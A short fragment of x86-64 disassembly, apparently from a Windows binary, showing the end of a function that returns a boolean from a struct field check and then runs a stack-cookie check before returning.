cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000b10c
xor al, al
jmp 0x14000b10c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400ddbf0
add rsp, 0x60
pop rbx
ret